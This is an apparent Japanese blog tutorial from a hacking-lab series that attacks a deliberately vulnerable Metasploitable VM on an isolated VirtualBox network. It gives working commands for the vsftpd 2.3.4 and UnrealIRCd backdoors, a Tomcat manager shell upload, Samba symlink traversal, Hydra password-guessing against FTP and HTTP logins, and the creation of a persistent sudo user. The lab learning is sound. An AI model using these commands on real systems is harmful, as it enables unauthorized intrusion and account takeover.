2
3

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 3 years have passed since last update.

【ハッキング・ラボ⑫】Metasploitableをハッキングする

Last updated at Posted at 2021-08-13

ターゲット端末にMetasploitableを導入し、ハッキングをしていきます。


まとめ記事(①〜⑯をまとめてます)
【ハッキング・ラボのつくりかた】をやってみた

システム環境

仮想化ソフト:VirtualBox 6.1.0
ホストOS:Windows10
ゲストOS1:Kali Linux 2020.1
ゲストOS2:Windows7
ゲストOS3:Windows10
ゲストOS4:Metasploitable

攻撃端末はゲストOS1、ターゲット端末はゲストOS4です。
IPアドレスはゲストOS1が10.0.0.2、ゲストOS4が10.0.0.5です。

Metasploitableの導入

Metasploitableとはあえて脆弱性が存在する状態で構成されたLinuxです。
以下のURLからmetasploitable-linux-2.0.0.zipファイルをダウンロードします。
https://sourceforge.net/projects/metasploitable/files/Metasploitable2/

zipファイルを展開すると、フォルダー内にMetasploitable.vmdkファイルがあります。

VirtualBoxを起動して、以下のようにして仮想マシンを作成します。
メモリーは1,024バイトにしました。
hacking-lab-part12-1
hacking-lab-part12-2

仮想LANアダプターの設定を行います。
アダプター1にホストオンリーアダプターを割り当てます。

Metasploitableを起動し、ログインします。
IDはmsfadmin、パスワードはmsfadminです。

まず、以下のコマンドを入力し、日本語キーボードのレイアウトに変更します。

# sudo loadkeys jp

次に、静的IPアドレスを以下のように設定します。

# sudo vi /etc/network/interfaces
interfaces
auto eth0
iface eth0 inet static
address 10.0.0.5
netmask 255.255.255.0
gateway 10.0.0.1

以下で設定を反映させると、IPアドレスが10.0.0.5になります。

# sudo /etc/init.d/networking restart

各種攻撃

ここから、Metasploitableに攻撃を行っていきます。

最初に以下のコマンドでポートスキャンし、空いているポート番号を調べます。

# nmap -sV -O -p- 10.0.0.5

検出されたポート番号のうち、今回は以下を取り上げます。

  • 21(ftp):vsftpd 2.3.4
  • 8180(http):Apache Tomcat/Coyote JSP engine 1.1
  • 139・445(netbios-ssn):Samba smbd 3.X - 4.X
  • 6667・6697(irc):UnrealIRCd

21(ftp)

Kali Linuxからポート21にアクセスします。

# nc 10.0.0.5 21

FTPアカウントの情報を知らないとFTPにはログインできませんが、以下のコマンドを入力すると、ポート6200が開きます。
なぜなら、vsftpd2.3.4にはリモートからコマンド実行を可能とするバックドアが含まれており、「:)」を含むユーザー名でログインすると、ポート6200にバックドアが開きます。

USER attacker:)
PASS hoge

ポート6200にアクセスします。
ポート6200にアクセスすることで、任意のコマンドを実行できるようになります。

# nc -nv 10.0.0.5 6200
hacking-lab-part12-3

また、同じ内容はMetasploitのモジュールexploit/unix/ftp/vsftpd_234_backdoorでも実現できます。

msf5
> use exploit/unix/ftp/vsftpd_234_backdoor
> set RHOST 10.0.0.5
> exploit
hacking-lab-part12-4

新しいユーザーを作っておきます。
次回からはこのユーザーでFTPにログインできます。

useradd -m newuser -G sudo -s /bin/bash
passwd newuser

今までは脆弱性を利用した攻撃を行ってきました。
ここでは、辞書式攻撃でFTPアカウントを解析することを考えます。
FTPアカウントを解析できれば、そのアカウントでFTPにログインできるようになります。

まず、ユーザーリストとパスワードリストを用意します。

# cat > user.lst
root
sys
msfadmin
admin
user
service
postgres
tomcat
# cat > pass.lst
user
password
12345678
msfadmin
root
guest
batman
asdfasdf
tomcat
(空行)

オンラインパスワードクラッカーであるHydraを使用します。

# hydra -L user.lst -P pass.lst -t 8 10.0.0.5 ftp

辞書式攻撃の結果、FTPアカウントを2つ解析できました。
hacking-lab-part12-5

8180 (http)

ここでは、ポート8180を通して、HTTPの認証を解析することを学んでいきます。

http://10.0.0.5:8180/adminにアクセスすると、Tomcatの認証画面が表示されます。
hacking-lab-part12-6

User Name、Passwordを知るために辞書式攻撃を仕掛けます。

Hydraを使用しますが、コマンドには認証に失敗したときのメッセージを指定する必要があり、今回の場合はInvalid username or passwordです。
hacking-lab-part12-7

以下のコマンドを入力して、アカウントを特定します。
User Name、Passwordともtomcatだとわかります。

# hydra -L user.lst -P pass.lst -s 8180 10.0.0.5 http-form-post "/admin/j_security_check:j_username=^USER^&j_password=^PASS^:Invalid username or password"
hacking-lab-part12-8

特定したアカウントでTomcatにログインできました。
hacking-lab-part12-9

また、Tomcatのアカウントがわかれば、Metasploitのモジュールexploit/multi/http/tomcat_mgr_uploadを使用してシェルを奪取することもできます。
ターゲットには2(Linux x86)を指定します。

msf5
> use exploit/multi/http/tomcat_mgr_upload
> set target 2
> set payload linux/x86/shell_bind_tcp
> set HttpUsername tomcat
> set HttpPassword tomcat
> set RHOST 10.0.0.5
> set RPORT 8180
> exploit
hacking-lab-part12-10

139・445 (netbios-ssn)

このポートでは、Sambaが稼働しており、共有サービスを提供しています。

以下のコマンドでSambaにログインします。
パスワードの入力を促されますが、何も入力せずEnterキーを押せばログインできます。

# smbclient -L //10.0.0.5
hacking-lab-part12-11

なお、事前に/etc/samba/smb.confに以下の項目を追記しておく必要があります。

smb.conf
client min protocol = NT1
hacking-lab-part12-12

共有名を確認するとtmpという共有名が存在することがわかります。
これをターゲットにします。

auxiliary/admin/smb/samba_symlink_traversalモジュールを使用すると、tmpという共有ディレクトリがマウントされ、rootfsというルートディレクトリがリンクされます。

ルートディレクトリという本来アクセスが禁止されているディレクトリにアクセスすることができます。
これをディレクトリトラバーサルと呼びます。

msf5
> use auxiliary/admin/smb/samba_symlink_traversal
> set RHOST 10.0.0.5
> set SMBSHARE tmp
> exploit

Meterpreterプロンプトから抜けます。
以下のコマンドでtmpという共有ディレクトリにアクセスできます。

# smbclient //10.0.0.5/tmp

cdコマンドでrootfsというルートディレクトリに移動できます。
例えば、/rootfs/etc/passwdファイルにアクセスすれば、パスワードファイルを閲覧することもできます。

ただ、root権限はないのでできることは限られます。
例えば、/rootfs/etc/shadowファイルにはアクセスできません。

6667・6697 (irc)

UnrealIRCdはUnreal IRCのサービスプログラムです。
Unreal IRCはオープンソースのIRCサーバで、IRCサーバを介してリアルタイムでチャットを行うことができます。

まずどのバージョンが使われているか調べます。
IRCクライアントであるhexchatをインストールし、起動します。

# apt install hexchat -y
# hexchat

以下のように設定し、「Connect」でIRCサーバに接続します。
hacking-lab-part12-13
hacking-lab-part12-14

「Nothing, I'll join a channel later.」を選択し、バージョンを確認します。
ここでは、3.2.8.1が使われていました。
hacking-lab-part12-15

このバージョンには、バックドアがあることがわかっています。
バックドアにアクセスするためにexploit/unix/irc/unreal_ircd_3281_backdoorモジュールを使用します。

msf5
> use exploit/unix/irc/unreal_ircd_3281_backdoor
> set RHOST 10.0.0.5
> run

これでシェルを奪取することができます。
これはroot権限なので、様々なことを実現できます。

また、今までは使いませんでしたが、シェルからMeterpreterプロンプトに切り替えることもできます。
これにはpost/multi/manage/shell_to_meterpreterモジュールを使用します。
まず、Ctrl+zキーでセッションをバックグランドにしておきます。
その後、以下のコマンドを実行します。確立しているセッションは1とします。

msf5
> use post/multi/manage/shell_to_meterpreter
> set SESSION 1
> run

実行すると、新しいセッションが1つ確立されます。
そのセッション(ここではセッション2)に接続すると、Meterpreterプロンプトになります。

msf5
> sessions -i 2
2
3
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
3

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?